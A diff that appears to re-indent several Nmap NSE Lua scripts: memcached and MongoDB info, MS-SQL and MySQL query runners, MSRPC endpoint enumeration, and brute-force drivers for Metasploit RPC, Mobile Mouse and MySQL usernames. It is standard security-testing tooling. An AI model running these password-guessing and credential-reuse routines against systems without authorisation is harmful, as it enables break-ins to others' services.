||||
action = function(host, port)
|
||||
|
||||
local socket = nmap.new_socket()
|
||||
socket:set_timeout(10000)
|
||||
local status = socket:connect(host, port)
|
||||
if ( not(status) ) then
|
||||
return fail("Failed to connect to server")
|
||||
end
|
||||
local socket = nmap.new_socket()
|
||||
socket:set_timeout(10000)
|
||||
local status = socket:connect(host, port)
|
||||
if ( not(status) ) then
|
||||
return fail("Failed to connect to server")
|
||||
end
|
||||
|
||||
status = socket:send("stats\r\n")
|
||||
if ( not(status) ) then
|
||||
return fail("Failed to send request to server")
|
||||
end
|
||||
status = socket:send("stats\r\n")
|
||||
if ( not(status) ) then
|
||||
return fail("Failed to send request to server")
|
||||
end
|
||||
|
||||
local status, kvs = recvResponse(socket)
|
||||
if( not(status) ) then
|
||||
return fail(kvs)
|
||||
end
|
||||
local status, kvs = recvResponse(socket)
|
||||
if( not(status) ) then
|
||||
return fail(kvs)
|
||||
end
|
||||
|
||||
status = socket:send("stats settings\r\n")
|
||||
if ( not(status) ) then
|
||||
return fail("Failed to send request to server")
|
||||
end
|
||||
status = socket:send("stats settings\r\n")
|
||||
if ( not(status) ) then
|
||||
return fail("Failed to send request to server")
|
||||
end
|
||||
|
||||
local status, kvs2 = recvResponse(socket)
|
||||
if( not(status) ) then
|
||||
return fail(kvs2)
|
||||
end
|
||||
local status, kvs2 = recvResponse(socket)
|
||||
if( not(status) ) then
|
||||
return fail(kvs2)
|
||||
end
|
||||
|
||||
kvs = mergetab(kvs, kvs2)
|
||||
kvs = mergetab(kvs, kvs2)
|
||||
|
||||
local result = tab.new(2)
|
||||
for _, item in ipairs(order) do
|
||||
if ( kvs[item] ) then
|
||||
local name = filter[item].name
|
||||
local val = ( filter[item].func and filter[item].func(kvs[item]) or kvs[item] )
|
||||
tab.addrow(result, name, val)
|
||||
end
|
||||
end
|
||||
return stdnse.format_output(true, tab.dump(result))
|
||||
local result = tab.new(2)
|
||||
for _, item in ipairs(order) do
|
||||
if ( kvs[item] ) then
|
||||
local name = filter[item].name
|
||||
local val = ( filter[item].func and filter[item].func(kvs[item]) or kvs[item] )
|
||||
tab.addrow(result, name, val)
|
||||
end
|
||||
end
|
||||
return stdnse.format_output(true, tab.dump(result))
|
||||
|
||||
end
|
||||
|
||||
@@ -41,77 +41,77 @@ portrule = shortport.port_or_service(55553,"metasploit-msgrpc")
|
||||
-- simple function that implements basic msgpack encoding we need for this script
|
||||
-- see http://wiki.msgpack.org/display/MSGPACK/Format+specification for more
|
||||
local encode = function(username, password)
|
||||
local method = "auth.login"
|
||||
local username_prefix
|
||||
local password_prefix
|
||||
local method = "auth.login"
|
||||
local username_prefix
|
||||
local password_prefix
|
||||
|
||||
if string.len(username) <= 31 then -- http://wiki.msgpack.org/display/MSGPACK/Format+specification#Formatspecification-fixraw
|
||||
username_prefix = bin.pack("C",0xa0 + string.len(username))
|
||||
else -- http://wiki.msgpack.org/display/MSGPACK/Format+specification#Formatspecification-raw16
|
||||
username_prefix = bin.pack("C",0xda) .. bin.pack("s",string.len(username))
|
||||
end
|
||||
if string.len(password) <= 31 then
|
||||
password_prefix = bin.pack("C",0xa0 + string.len(password))
|
||||
else
|
||||
password_prefix = bin.pack("C",0xda) .. bin.pack("s",string.len(password))
|
||||
end
|
||||
if string.len(username) <= 31 then -- http://wiki.msgpack.org/display/MSGPACK/Format+specification#Formatspecification-fixraw
|
||||
username_prefix = bin.pack("C",0xa0 + string.len(username))
|
||||
else -- http://wiki.msgpack.org/display/MSGPACK/Format+specification#Formatspecification-raw16
|
||||
username_prefix = bin.pack("C",0xda) .. bin.pack("s",string.len(username))
|
||||
end
|
||||
if string.len(password) <= 31 then
|
||||
password_prefix = bin.pack("C",0xa0 + string.len(password))
|
||||
else
|
||||
password_prefix = bin.pack("C",0xda) .. bin.pack("s",string.len(password))
|
||||
end
|
||||
|
||||
return bin.pack("C",0x93) .. bin.pack("C",0xaa) .. method .. username_prefix .. username .. password_prefix .. password
|
||||
return bin.pack("C",0x93) .. bin.pack("C",0xaa) .. method .. username_prefix .. username .. password_prefix .. password
|
||||
end
|
||||
|
||||
Driver = {
|
||||
|
||||
new = function(self, host, port)
|
||||
local o = {}
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
o.host = host
|
||||
o.port = port
|
||||
return o
|
||||
end,
|
||||
new = function(self, host, port)
|
||||
local o = {}
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
o.host = host
|
||||
o.port = port
|
||||
return o
|
||||
end,
|
||||
|
||||
-- as we are using http methods, no need for connect and disconnect
|
||||
-- this might cause a problem as in other scripts that don't have explicit connect
|
||||
-- as there is no way to "reserve" a socket
|
||||
connect = function( self )
|
||||
return true
|
||||
end,
|
||||
-- as we are using http methods, no need for connect and disconnect
|
||||
-- this might cause a problem as in other scripts that don't have explicit connect
|
||||
-- as there is no way to "reserve" a socket
|
||||
connect = function( self )
|
||||
return true
|
||||
end,
|
||||
|
||||
login = function (self, user, pass)
|
||||
local data
|
||||
local options = {
|
||||
header = {
|
||||
["Content-Type"] = "binary/message-pack"
|
||||
}
|
||||
}
|
||||
stdnse.print_debug( "Trying %s/%s ...", user, pass )
|
||||
data = http.post(self.host,self.port, "/api/",options, nil , encode(user,pass))
|
||||
if data and data.status and tostring( data.status ):match( "200" ) then
|
||||
if string.find(data.body,"success") then
|
||||
return true, brute.Account:new( user, pass, creds.State.VALID)
|
||||
else
|
||||
return false, brute.Error:new( "Incorrect username or password" )
|
||||
end
|
||||
end
|
||||
local err = brute.Error:new("Login didn't return a proper response")
|
||||
err:setRetry( true )
|
||||
return false, err
|
||||
end,
|
||||
login = function (self, user, pass)
|
||||
local data
|
||||
local options = {
|
||||
header = {
|
||||
["Content-Type"] = "binary/message-pack"
|
||||
}
|
||||
}
|
||||
stdnse.print_debug( "Trying %s/%s ...", user, pass )
|
||||
data = http.post(self.host,self.port, "/api/",options, nil , encode(user,pass))
|
||||
if data and data.status and tostring( data.status ):match( "200" ) then
|
||||
if string.find(data.body,"success") then
|
||||
return true, brute.Account:new( user, pass, creds.State.VALID)
|
||||
else
|
||||
return false, brute.Error:new( "Incorrect username or password" )
|
||||
end
|
||||
end
|
||||
local err = brute.Error:new("Login didn't return a proper response")
|
||||
err:setRetry( true )
|
||||
return false, err
|
||||
end,
|
||||
|
||||
disconnect = function( self )
|
||||
return true
|
||||
end
|
||||
disconnect = function( self )
|
||||
return true
|
||||
end
|
||||
}
|
||||
|
||||
action = function( host, port )
|
||||
|
||||
local status, result
|
||||
local engine = brute.Engine:new(Driver, host, port)
|
||||
engine.options.script_name = SCRIPT_NAME
|
||||
engine.options.firstonly = true
|
||||
engine.max_threads = 3
|
||||
engine.max_retries = 10
|
||||
status, result = engine:start()
|
||||
local status, result
|
||||
local engine = brute.Engine:new(Driver, host, port)
|
||||
engine.options.script_name = SCRIPT_NAME
|
||||
engine.options.firstonly = true
|
||||
engine.max_threads = 3
|
||||
engine.max_retries = 10
|
||||
status, result = engine:start()
|
||||
|
||||
return result
|
||||
return result
|
||||
end
|
||||
|
||||
@@ -40,80 +40,80 @@ portrule = shortport.port_or_service(51010, "mmouse", "tcp")
|
||||
|
||||
Driver = {
|
||||
|
||||
new = function(self, host, port)
|
||||
local o = { host = host, port = port }
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
return o
|
||||
end,
|
||||
new = function(self, host, port)
|
||||
local o = { host = host, port = port }
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
return o
|
||||
end,
|
||||
|
||||
connect = function( self )
|
||||
self.socket = nmap.new_socket()
|
||||
self.socket:set_timeout(arg_timeout)
|
||||
return self.socket:connect(self.host, self.port)
|
||||
end,
|
||||
connect = function( self )
|
||||
self.socket = nmap.new_socket()
|
||||
self.socket:set_timeout(arg_timeout)
|
||||
return self.socket:connect(self.host, self.port)
|
||||
end,
|
||||
|
||||
login = function( self, username, password )
|
||||
local devid = "0123456789abcdef0123456789abcdef0123456"
|
||||
local devname = "Lord Vaders iPad"
|
||||
local suffix = "2".."\30".."2".."\04"
|
||||
local auth = ("CONNECT\30%s\30%s\30%s\30%s"):format(password, devid, devname, suffix)
|
||||
login = function( self, username, password )
|
||||
local devid = "0123456789abcdef0123456789abcdef0123456"
|
||||
local devname = "Lord Vaders iPad"
|
||||
local suffix = "2".."\30".."2".."\04"
|
||||
local auth = ("CONNECT\30%s\30%s\30%s\30%s"):format(password, devid, devname, suffix)
|
||||
|
||||
local status = self.socket:send(auth)
|
||||
if ( not(status) ) then
|
||||
local err = brute.Error:new( "Failed to send data to server" )
|
||||
err:setRetry( true )
|
||||
return false, err
|
||||
end
|
||||
local status = self.socket:send(auth)
|
||||
if ( not(status) ) then
|
||||
local err = brute.Error:new( "Failed to send data to server" )
|
||||
err:setRetry( true )
|
||||
return false, err
|
||||
end
|
||||
|
||||
local status, data = self.socket:receive_buf("\04", true)
|
||||
local status, data = self.socket:receive_buf("\04", true)
|
||||
|
||||
if (data:match("^CONNECTED\30([^\30]*)") == "NO" ) then
|
||||
return false, brute.Error:new( "Incorrect password" )
|
||||
elseif ( data:match("^CONNECTED\30([^\30]*)") == "YES" ) then
|
||||
return true, brute.Account:new("", password, creds.State.VALID)
|
||||
end
|
||||
if (data:match("^CONNECTED\30([^\30]*)") == "NO" ) then
|
||||
return false, brute.Error:new( "Incorrect password" )
|
||||
elseif ( data:match("^CONNECTED\30([^\30]*)") == "YES" ) then
|
||||
return true, brute.Account:new("", password, creds.State.VALID)
|
||||
end
|
||||
|
||||
local err = brute.Error:new("An unexpected error occured, retrying ...")
|
||||
err:setRetry(true)
|
||||
return false, err
|
||||
end,
|
||||
local err = brute.Error:new("An unexpected error occured, retrying ...")
|
||||
err:setRetry(true)
|
||||
return false, err
|
||||
end,
|
||||
|
||||
disconnect = function(self)
|
||||
self.socket:close()
|
||||
end,
|
||||
disconnect = function(self)
|
||||
self.socket:close()
|
||||
end,
|
||||
|
||||
}
|
||||
|
||||
local function hasPassword(host, port)
|
||||
local driver = Driver:new(host, port)
|
||||
if ( not(driver:connect()) ) then
|
||||
error("Failed to connect to server")
|
||||
end
|
||||
local status = driver:login(nil, "nmap")
|
||||
driver:disconnect()
|
||||
local driver = Driver:new(host, port)
|
||||
if ( not(driver:connect()) ) then
|
||||
error("Failed to connect to server")
|
||||
end
|
||||
local status = driver:login(nil, "nmap")
|
||||
driver:disconnect()
|
||||
|
||||
return not(status)
|
||||
return not(status)
|
||||
end
|
||||
|
||||
|
||||
action = function(host, port)
|
||||
|
||||
if ( not(hasPassword(host, port)) ) then
|
||||
return "\n Server has no password"
|
||||
end
|
||||
if ( not(hasPassword(host, port)) ) then
|
||||
return "\n Server has no password"
|
||||
end
|
||||
|
||||
local status, result
|
||||
local engine = brute.Engine:new(Driver, host, port )
|
||||
local status, result
|
||||
local engine = brute.Engine:new(Driver, host, port )
|
||||
|
||||
engine.options.script_name = SCRIPT_NAME
|
||||
engine.options.firstonly = true
|
||||
engine.options:setOption( "passonly", true )
|
||||
engine.options.script_name = SCRIPT_NAME
|
||||
engine.options.firstonly = true
|
||||
engine.options:setOption( "passonly", true )
|
||||
|
||||
-- mouse server does not behave well when multiple threads are guessing
|
||||
engine:setMaxThreads(1)
|
||||
-- mouse server does not behave well when multiple threads are guessing
|
||||
engine:setMaxThreads(1)
|
||||
|
||||
status, result = engine:start()
|
||||
status, result = engine:start()
|
||||
|
||||
return result
|
||||
return result
|
||||
end
|
||||
|
||||
@@ -66,64 +66,64 @@ portrule = shortport.port_or_service({27017}, {"mongodb"})
|
||||
|
||||
function action(host,port)
|
||||
|
||||
local socket = nmap.new_socket()
|
||||
local socket = nmap.new_socket()
|
||||
|
||||
-- set a reasonable timeout value
|
||||
socket:set_timeout(10000)
|
||||
-- do some exception / cleanup
|
||||
local catch = function()
|
||||
socket:close()
|
||||
end
|
||||
-- set a reasonable timeout value
|
||||
socket:set_timeout(10000)
|
||||
-- do some exception / cleanup
|
||||
local catch = function()
|
||||
socket:close()
|
||||
end
|
||||
|
||||
local try = nmap.new_try(catch)
|
||||
local try = nmap.new_try(catch)
|
||||
|
||||
try( socket:connect(host, port) )
|
||||
try( socket:connect(host, port) )
|
||||
|
||||
local req, statusresponse, buildinfo, err
|
||||
local req, statusresponse, buildinfo, err
|
||||
|
||||
-- uglyness to allow creds.mongodb to work, as the port is not recognized
|
||||
-- as mongodb, unless a service scan was run
|
||||
local ps = port.service
|
||||
port.service = 'mongodb'
|
||||
local c = creds.Credentials:new(creds.ALL_DATA, host, port)
|
||||
for cred in c:getCredentials(creds.State.VALID + creds.State.PARAM) do
|
||||
local status, err = mongodb.login(socket, arg_db, cred.user, cred.pass)
|
||||
if ( not(status) ) then
|
||||
return err
|
||||
end
|
||||
end
|
||||
port.service = ps
|
||||
-- uglyness to allow creds.mongodb to work, as the port is not recognized
|
||||
-- as mongodb, unless a service scan was run
|
||||
local ps = port.service
|
||||
port.service = 'mongodb'
|
||||
local c = creds.Credentials:new(creds.ALL_DATA, host, port)
|
||||
for cred in c:getCredentials(creds.State.VALID + creds.State.PARAM) do
|
||||
local status, err = mongodb.login(socket, arg_db, cred.user, cred.pass)
|
||||
if ( not(status) ) then
|
||||
return err
|
||||
end
|
||||
end
|
||||
port.service = ps
|
||||
|
||||
local status, packet = mongodb.serverStatusQuery()
|
||||
if not status then return packet end
|
||||
local status, packet = mongodb.serverStatusQuery()
|
||||
if not status then return packet end
|
||||
|
||||
local statQResult, buildQResult
|
||||
status,statQResult = mongodb.query(socket, packet)
|
||||
local statQResult, buildQResult
|
||||
status,statQResult = mongodb.query(socket, packet)
|
||||
|
||||
if not status then return statQResult end
|
||||
if not status then return statQResult end
|
||||
|
||||
port.version.name ='mongodb'
|
||||
port.version.product='MongoDB'
|
||||
port.version.name_confidence = 10
|
||||
nmap.set_port_version(host,port)
|
||||
port.version.name ='mongodb'
|
||||
port.version.product='MongoDB'
|
||||
port.version.name_confidence = 10
|
||||
nmap.set_port_version(host,port)
|
||||
|
||||
status, packet = mongodb.buildInfoQuery()
|
||||
if not status then return packet end
|
||||
status, packet = mongodb.buildInfoQuery()
|
||||
if not status then return packet end
|
||||
|
||||
status, buildQResult = mongodb.query(socket,packet )
|
||||
status, buildQResult = mongodb.query(socket,packet )
|
||||
|
||||
if not status then
|
||||
stdnse.log_error(buildQResult)
|
||||
return buildQResult
|
||||
end
|
||||
if not status then
|
||||
stdnse.log_error(buildQResult)
|
||||
return buildQResult
|
||||
end
|
||||
|
||||
local versionNumber = buildQResult['version']
|
||||
port.version.product='MongoDB '..versionNumber
|
||||
nmap.set_port_version(host,port)
|
||||
local versionNumber = buildQResult['version']
|
||||
port.version.product='MongoDB '..versionNumber
|
||||
nmap.set_port_version(host,port)
|
||||
|
||||
local stat_out = mongodb.queryResultToTable(statQResult)
|
||||
local build_out = mongodb.queryResultToTable(buildQResult)
|
||||
local output = {"MongoDB Build info",build_out,"Server status",stat_out}
|
||||
local stat_out = mongodb.queryResultToTable(statQResult)
|
||||
local build_out = mongodb.queryResultToTable(buildQResult)
|
||||
local output = {"MongoDB Build info",build_out,"Server status",stat_out}
|
||||
|
||||
return stdnse.format_output(true, output )
|
||||
return stdnse.format_output(true, output )
|
||||
end
|
||||
|
||||
@@ -67,56 +67,56 @@ portrule = mssql.Helper.GetPortrule_Standard()
|
||||
|
||||
---
|
||||
local function process_instance( instance )
|
||||
local status, result
|
||||
-- the tempdb should be a safe guess, anyway the library is set up
|
||||
-- to continue even if the DB is not accessible to the user
|
||||
local status, result
|
||||
-- the tempdb should be a safe guess, anyway the library is set up
|
||||
-- to continue even if the DB is not accessible to the user
|
||||
-- TODO: consider renaming this arg to ms-sql-query.database
|
||||
local database = stdnse.get_script_args( 'mssql.database' ) or "tempdb"
|
||||
local query = stdnse.get_script_args( {'ms-sql-query.query', 'mssql-query.query' } ) or "SELECT @@version version"
|
||||
local helper = mssql.Helper:new()
|
||||
local database = stdnse.get_script_args( 'mssql.database' ) or "tempdb"
|
||||
local query = stdnse.get_script_args( {'ms-sql-query.query', 'mssql-query.query' } ) or "SELECT @@version version"
|
||||
local helper = mssql.Helper:new()
|
||||
|
||||
status, result = helper:ConnectEx( instance )
|
||||
status, result = helper:ConnectEx( instance )
|
||||
|
||||
if status then
|
||||
status, result = helper:LoginEx( instance, database )
|
||||
if ( not(status) ) then result = "ERROR: " .. result end
|
||||
end
|
||||
if status then
|
||||
status, result = helper:Query( query )
|
||||
if ( not(status) ) then result = "ERROR: " .. result end
|
||||
end
|
||||
if status then
|
||||
status, result = helper:LoginEx( instance, database )
|
||||
if ( not(status) ) then result = "ERROR: " .. result end
|
||||
end
|
||||
if status then
|
||||
status, result = helper:Query( query )
|
||||
if ( not(status) ) then result = "ERROR: " .. result end
|
||||
end
|
||||
|
||||
helper:Disconnect()
|
||||
helper:Disconnect()
|
||||
|
||||
if status then
|
||||
result = mssql.Util.FormatOutputTable( result, true )
|
||||
result["name"] = string.format( "Query: %s", query )
|
||||
end
|
||||
local instanceOutput = {}
|
||||
instanceOutput["name"] = string.format( "[%s]", instance:GetName() )
|
||||
table.insert( instanceOutput, result )
|
||||
if status then
|
||||
result = mssql.Util.FormatOutputTable( result, true )
|
||||
result["name"] = string.format( "Query: %s", query )
|
||||
end
|
||||
local instanceOutput = {}
|
||||
instanceOutput["name"] = string.format( "[%s]", instance:GetName() )
|
||||
table.insert( instanceOutput, result )
|
||||
|
||||
return instanceOutput
|
||||
return instanceOutput
|
||||
end
|
||||
|
||||
|
||||
action = function( host, port )
|
||||
local scriptOutput = {}
|
||||
local status, instanceList = mssql.Helper.GetTargetInstances( host, port )
|
||||
local scriptOutput = {}
|
||||
local status, instanceList = mssql.Helper.GetTargetInstances( host, port )
|
||||
|
||||
if ( not status ) then
|
||||
return stdnse.format_output( false, instanceList )
|
||||
else
|
||||
for _, instance in pairs( instanceList ) do
|
||||
local instanceOutput = process_instance( instance )
|
||||
if instanceOutput then
|
||||
table.insert( scriptOutput, instanceOutput )
|
||||
end
|
||||
end
|
||||
if ( not( stdnse.get_script_args( {'ms-sql-query.query', 'mssql-query.query' } ) ) ) then
|
||||
table.insert(scriptOutput, 1, "(Use --script-args=ms-sql-query.query='<QUERY>' to change query.)")
|
||||
end
|
||||
end
|
||||
if ( not status ) then
|
||||
return stdnse.format_output( false, instanceList )
|
||||
else
|
||||
for _, instance in pairs( instanceList ) do
|
||||
local instanceOutput = process_instance( instance )
|
||||
if instanceOutput then
|
||||
table.insert( scriptOutput, instanceOutput )
|
||||
end
|
||||
end
|
||||
if ( not( stdnse.get_script_args( {'ms-sql-query.query', 'mssql-query.query' } ) ) ) then
|
||||
table.insert(scriptOutput, 1, "(Use --script-args=ms-sql-query.query='<QUERY>' to change query.)")
|
||||
end
|
||||
end
|
||||
|
||||
return stdnse.format_output( true, scriptOutput )
|
||||
return stdnse.format_output( true, scriptOutput )
|
||||
end
|
||||
|
||||
@@ -73,41 +73,41 @@ license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
|
||||
categories = {"safe","discovery"}
|
||||
|
||||
hostrule = function(host)
|
||||
return smb.get_port(host) ~= nil
|
||||
return smb.get_port(host) ~= nil
|
||||
end
|
||||
|
||||
action = function(host,port)
|
||||
local status, smbstate
|
||||
status, smbstate = msrpc.start_smb(host,msrpc.EPMAPPER_PATH,true)
|
||||
if(status == false) then
|
||||
stdnse.print_debug("SMB: " .. smbstate)
|
||||
return false, smbstate
|
||||
end
|
||||
local bind_result,epresult -- bind to endpoint mapper service
|
||||
status, bind_result = msrpc.bind(smbstate,msrpc.EPMAPPER_UUID, msrpc.EPMAPPER_VERSION, nil)
|
||||
if(status == false) then
|
||||
msrpc.stop_smb(smbstate)
|
||||
stdnse.print_debug("SMB: " .. bind_result)
|
||||
return false, bind_result
|
||||
end
|
||||
local results = {}
|
||||
status, epresult = msrpc.epmapper_lookup(smbstate,nil) -- get the initial handle
|
||||
if not status then
|
||||
stdnse.print_debug("SMB: " .. epresult)
|
||||
return false, epresult
|
||||
local status, smbstate
|
||||
status, smbstate = msrpc.start_smb(host,msrpc.EPMAPPER_PATH,true)
|
||||
if(status == false) then
|
||||
stdnse.print_debug("SMB: " .. smbstate)
|
||||
return false, smbstate
|
||||
end
|
||||
local bind_result,epresult -- bind to endpoint mapper service
|
||||
status, bind_result = msrpc.bind(smbstate,msrpc.EPMAPPER_UUID, msrpc.EPMAPPER_VERSION, nil)
|
||||
if(status == false) then
|
||||
msrpc.stop_smb(smbstate)
|
||||
stdnse.print_debug("SMB: " .. bind_result)
|
||||
return false, bind_result
|
||||
end
|
||||
local results = {}
|
||||
status, epresult = msrpc.epmapper_lookup(smbstate,nil) -- get the initial handle
|
||||
if not status then
|
||||
stdnse.print_debug("SMB: " .. epresult)
|
||||
return false, epresult
|
||||
|
||||
end
|
||||
local handle = epresult.new_handle
|
||||
epresult.new_handle = nil
|
||||
table.insert(results,epresult)
|
||||
end
|
||||
local handle = epresult.new_handle
|
||||
epresult.new_handle = nil
|
||||
table.insert(results,epresult)
|
||||
|
||||
while not (epresult == nil) do
|
||||
status, epresult = msrpc.epmapper_lookup(smbstate,handle) -- get next result until there are no more
|
||||
if not status then
|
||||
break
|
||||
end
|
||||
epresult.new_handle = nil
|
||||
table.insert(results,epresult)
|
||||
end
|
||||
return results
|
||||
while not (epresult == nil) do
|
||||
status, epresult = msrpc.epmapper_lookup(smbstate,handle) -- get next result until there are no more
|
||||
if not status then
|
||||
break
|
||||
end
|
||||
epresult.new_handle = nil
|
||||
table.insert(results,epresult)
|
||||
end
|
||||
return results
|
||||
end
|
||||
|
||||
@@ -48,67 +48,67 @@ arg_timeout = (arg_timeout or 5) * 1000
|
||||
|
||||
Driver = {
|
||||
|
||||
new = function(self, host, port)
|
||||
local o = {}
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
o.host = host
|
||||
o.port = port
|
||||
return o
|
||||
end,
|
||||
new = function(self, host, port)
|
||||
local o = {}
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
o.host = host
|
||||
o.port = port
|
||||
return o
|
||||
end,
|
||||
|
||||
connect = function( self )
|
||||
self.socket = nmap.new_socket()
|
||||
local status, err = self.socket:connect(self.host, self.port)
|
||||
self.socket:set_timeout(arg_timeout)
|
||||
if(not(status)) then
|
||||
return false, brute.Error:new( "Couldn't connect to host: " .. err )
|
||||
end
|
||||
return true
|
||||
end,
|
||||
connect = function( self )
|
||||
self.socket = nmap.new_socket()
|
||||
local status, err = self.socket:connect(self.host, self.port)
|
||||
self.socket:set_timeout(arg_timeout)
|
||||
if(not(status)) then
|
||||
return false, brute.Error:new( "Couldn't connect to host: " .. err )
|
||||
end
|
||||
return true
|
||||
end,
|
||||
|
||||
login = function (self, user, pass) -- pass is actually the username we want to try
|
||||
local status, response = mysql.receiveGreeting(self.socket)
|
||||
if(not(status)) then
|
||||
if string.find(response,"is blocked because of many connection errors") then
|
||||
local err = brute.Error:new( response )
|
||||
err:setAbort( true )
|
||||
return false, err
|
||||
end
|
||||
return false,brute.Error:new(response)
|
||||
end
|
||||
stdnse.print_debug( "Trying %s ...", pass)
|
||||
local auth_string = bin.pack("H","0000018d00000000") .. pass .. bin.pack("H","00504e5f5155454d4500"); -- old authentication method
|
||||
local err
|
||||
status, err = self.socket:send(bin.pack("c",string.len(auth_string)-3) .. auth_string) --send initial auth
|
||||
status, response = self.socket:receive_bytes(0)
|
||||
if not status then
|
||||
return false,brute.Error:new( "Incorrect username" )
|
||||
end
|
||||
if string.find(response,"Access denied for user") == nil then
|
||||
-- found it
|
||||
return true, brute.Account:new( pass, nil, creds.State.VALID)
|
||||
else
|
||||
return false,brute.Error:new( "Incorrect username" )
|
||||
end
|
||||
end,
|
||||
login = function (self, user, pass) -- pass is actually the username we want to try
|
||||
local status, response = mysql.receiveGreeting(self.socket)
|
||||
if(not(status)) then
|
||||
if string.find(response,"is blocked because of many connection errors") then
|
||||
local err = brute.Error:new( response )
|
||||
err:setAbort( true )
|
||||
return false, err
|
||||
end
|
||||
return false,brute.Error:new(response)
|
||||
end
|
||||
stdnse.print_debug( "Trying %s ...", pass)
|
||||
local auth_string = bin.pack("H","0000018d00000000") .. pass .. bin.pack("H","00504e5f5155454d4500"); -- old authentication method
|
||||
local err
|
||||
status, err = self.socket:send(bin.pack("c",string.len(auth_string)-3) .. auth_string) --send initial auth
|
||||
status, response = self.socket:receive_bytes(0)
|
||||
if not status then
|
||||
return false,brute.Error:new( "Incorrect username" )
|
||||
end
|
||||
if string.find(response,"Access denied for user") == nil then
|
||||
-- found it
|
||||
return true, brute.Account:new( pass, nil, creds.State.VALID)
|
||||
else
|
||||
return false,brute.Error:new( "Incorrect username" )
|
||||
end
|
||||
end,
|
||||
|
||||
disconnect = function( self )
|
||||
self.socket:close()
|
||||
return true
|
||||
end
|
||||
disconnect = function( self )
|
||||
self.socket:close()
|
||||
return true
|
||||
end
|
||||
|
||||
}
|
||||
|
||||
action = function( host, port )
|
||||
|
||||
local status, result
|
||||
local engine = brute.Engine:new(Driver, host, port)
|
||||
engine.options:setOption("passonly", true )
|
||||
engine:setPasswordIterator(brute.usernames_iterator())
|
||||
engine.options.script_name = SCRIPT_NAME
|
||||
engine.options:setTitle("Valid usernames")
|
||||
status, result = engine:start()
|
||||
local status, result
|
||||
local engine = brute.Engine:new(Driver, host, port)
|
||||
engine.options:setOption("passonly", true )
|
||||
engine:setPasswordIterator(brute.usernames_iterator())
|
||||
engine.options.script_name = SCRIPT_NAME
|
||||
engine.options:setTitle("Valid usernames")
|
||||
status, result = engine:start()
|
||||
|
||||
return result
|
||||
return result
|
||||
end
|
||||
|
||||
@@ -47,72 +47,72 @@ local arg_noheaders = stdnse.get_script_args(SCRIPT_NAME .. ".noheaders") or fal
|
||||
local function fail(err) return ("\n ERROR: %s"):format(err or "") end
|
||||
|
||||
local function getCredentials()
|
||||
-- first, let's see if the script has any credentials as arguments?
|
||||
if ( arg_username ) then
|
||||
return { [arg_username] = arg_password }
|
||||
-- next, let's see if mysql-brute or mysql-empty-password brought us anything
|
||||
elseif nmap.registry.mysqlusers then
|
||||
-- do we have root credentials?
|
||||
if nmap.registry.mysqlusers['root'] then
|
||||
return { ['root'] = nmap.registry.mysqlusers['root'] }
|
||||
else
|
||||
-- we didn't have root, so let's make sure we loop over them all
|
||||
return nmap.registry.mysqlusers
|
||||
end
|
||||
-- last, no dice, we don't have any credentials at all
|
||||
end
|
||||
-- first, let's see if the script has any credentials as arguments?
|
||||
if ( arg_username ) then
|
||||
return { [arg_username] = arg_password }
|
||||
-- next, let's see if mysql-brute or mysql-empty-password brought us anything
|
||||
elseif nmap.registry.mysqlusers then
|
||||
-- do we have root credentials?
|
||||
if nmap.registry.mysqlusers['root'] then
|
||||
return { ['root'] = nmap.registry.mysqlusers['root'] }
|
||||
else
|
||||
-- we didn't have root, so let's make sure we loop over them all
|
||||
return nmap.registry.mysqlusers
|
||||
end
|
||||
-- last, no dice, we don't have any credentials at all
|
||||
end
|
||||
end
|
||||
|
||||
local function mysqlLogin(socket, username, password)
|
||||
local status, response = mysql.receiveGreeting( socket )
|
||||
if ( not(status) ) then
|
||||
return response
|
||||
end
|
||||
return mysql.loginRequest( socket, { authversion = "post41", charset = response.charset }, username, password, response.salt )
|
||||
local status, response = mysql.receiveGreeting( socket )
|
||||
if ( not(status) ) then
|
||||
return response
|
||||
end
|
||||
return mysql.loginRequest( socket, { authversion = "post41", charset = response.charset }, username, password, response.salt )
|
||||
end
|
||||
|
||||
|
||||
action = function(host, port)
|
||||
if ( not(arg_query) ) then
|
||||
stdnse.print_debug(2, "No query was given, aborting ...")
|
||||
return
|
||||
end
|
||||
if ( not(arg_query) ) then
|
||||
stdnse.print_debug(2, "No query was given, aborting ...")
|
||||
return
|
||||
end
|
||||
|
||||
local creds = getCredentials()
|
||||
if ( not(creds) ) then
|
||||
stdnse.print_debug(2, "No credentials were supplied, aborting ...")
|
||||
return
|
||||
end
|
||||
local creds = getCredentials()
|
||||
if ( not(creds) ) then
|
||||
stdnse.print_debug(2, "No credentials were supplied, aborting ...")
|
||||
return
|
||||
end
|
||||
|
||||
if ( arg_noheaders == '1' or arg_noheaders == 'true' ) then
|
||||
arg_noheaders = true
|
||||
else
|
||||
arg_noheaders = false
|
||||
end
|
||||
if ( arg_noheaders == '1' or arg_noheaders == 'true' ) then
|
||||
arg_noheaders = true
|
||||
else
|
||||
arg_noheaders = false
|
||||
end
|
||||
|
||||
local result = {}
|
||||
local last_error
|
||||
local result = {}
|
||||
local last_error
|
||||
|
||||
for username, password in pairs(creds) do
|
||||
local socket = nmap.new_socket()
|
||||
if ( not(socket:connect(host, port)) ) then
|
||||
return fail("Failed to connect to server")
|
||||
end
|
||||
local status, response = mysqlLogin(socket, username, password)
|
||||
if ( status ) then
|
||||
local status, rs = mysql.sqlQuery( socket, arg_query )
|
||||
socket:close()
|
||||
if ( status ) then
|
||||
result = mysql.formatResultset(rs, { noheaders = arg_noheaders })
|
||||
result = ("%s\nQuery: %s\nUser: %s"):format(result, arg_query, username)
|
||||
last_error = nil
|
||||
break
|
||||
else
|
||||
last_error = rs
|
||||
end
|
||||
else
|
||||
socket:close()
|
||||
end
|
||||
end
|
||||
return stdnse.format_output(true, (last_error and ("ERROR: %s"):format(last_error) or result))
|
||||
for username, password in pairs(creds) do
|
||||
local socket = nmap.new_socket()
|
||||
if ( not(socket:connect(host, port)) ) then
|
||||
return fail("Failed to connect to server")
|
||||
end
|
||||
local status, response = mysqlLogin(socket, username, password)
|
||||
if ( status ) then
|
||||
local status, rs = mysql.sqlQuery( socket, arg_query )
|
||||
socket:close()
|
||||
if ( status ) then
|
||||
result = mysql.formatResultset(rs, { noheaders = arg_noheaders })
|
